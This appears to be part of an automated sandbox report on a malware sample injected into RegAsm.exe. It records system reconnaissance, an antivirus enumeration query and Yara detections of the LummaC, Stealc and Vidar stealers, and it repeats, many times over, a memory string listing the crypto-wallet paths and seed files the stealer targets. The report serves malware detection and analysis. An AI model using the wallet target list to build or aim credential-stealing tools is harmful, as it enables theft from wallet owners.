Source: C:\Users\userGIEGHJEGHJ.exe	Queries volume information: C:\Users\userGIEGHJEGHJ.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\userIJEGDBGDBF.exe	Queries volume information: C:\Users\userIJEGDBGDBF.exe VolumeInformation

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_0041C110 lstrcpyA,SetFilePointer,SetFilePointer,GetLocalTime,SystemTimeToFileTime,

3_2_0041C110

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_00410C53 GetProcessHeap,HeapAlloc,GetUserNameA,

3_2_00410C53

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_00410D2E GetProcessHeap,HeapAlloc,GetTimeZoneInformation,wsprintfA,

3_2_00410D2E

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: RegAsm.exe, 00000003.00000002.2595193937.000000000148A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2595193937.0000000001502000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000000E.00000002.2863943868.00000000011BA000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2766184934.00000000012BB000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 0000001B.00000002.2766184934.0000000001388000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * From AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * From AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * From AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match

File source: decrypted.memstr, type: MEMORYSTR

Yara detected Stealc

Source: Yara match	File source: 15.2.DBGIJEHIID.exe.39c5570.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 15.2.DBGIJEHIID.exe.39c5570.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000012.00000002.3023059126.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.2576073985.00000000039C5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.3026337297.0000000000FDA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 1916, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar

Source: Yara match

File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 3.2.RegAsm.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.3ce5570.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.file.exe.3ce5570.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2113832701.0000000003CE5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2592313057.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 3664, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 3532, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 3784, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 1916, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 424, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: RegAsm.exe, 00000003.00000002.2592313057.00000000004E4000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: Electrum
Source: RegAsm.exe, 00000003.00000002.2592313057.00000000004E4000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: s.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: RegAsm.exe, 00000003.00000002.2592313057.00000000004E4000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: \Electrum\wallets\
Source: RegAsm.exe, 00000003.00000002.2592313057.00000000004E4000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: s.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: RegAsm.exe, 00000012.00000002.3023059126.00000000005CB000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: RegAsm.exe, 00000003.00000002.2592313057.00000000004E4000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: exodus.conf.json
Source: RegAsm.exe, 00000003.00000002.2592313057.00000000004E4000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: s.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: RegAsm.exe, 00000003.00000002.2592313057.00000000004E4000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: s.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: RegAsm.exe, 00000003.00000002.2592313057.00000000004E4000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: ElectrumLTC
Source: RegAsm.exe, 00000003.00000002.2592313057.00000000004E4000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: s.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: RegAsm.exe, 00000012.00000002.3023059126.00000000005CB000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: RegAsm.exe, 00000003.00000002.2592313057.00000000004E4000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: \Ethereum\
Source: RegAsm.exe, 00000003.00000002.2592313057.00000000004E4000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: s.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: RegAsm.exe, 00000003.00000002.2592313057.00000000004E4000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: Ethereum
Source: RegAsm.exe, 00000012.00000002.3023059126.00000000005CB000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: RegAsm.exe, 00000003.00000002.2592313057.00000000004E4000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: s.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: RegAsm.exe, 00000003.00000002.2592313057.00000000004E4000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: s.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: RegAsm.exe, 00000003.00000002.2592313057.00000000004E4000.00000040.00000400.00020000.00000000.sdmp	String found in binary or memory: s.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Exodus\|1\|\Exodus\backups\\|.\|1\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.wallet\|0\|Coinomi\|0\|\Coinomi\Coinomi\wallets\\|.config\|0\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\|2\|\.chia\mainnet\wallet\\|.sqlite\|0\|Komodo Wallet (Atomic)\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet (Atomic)\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
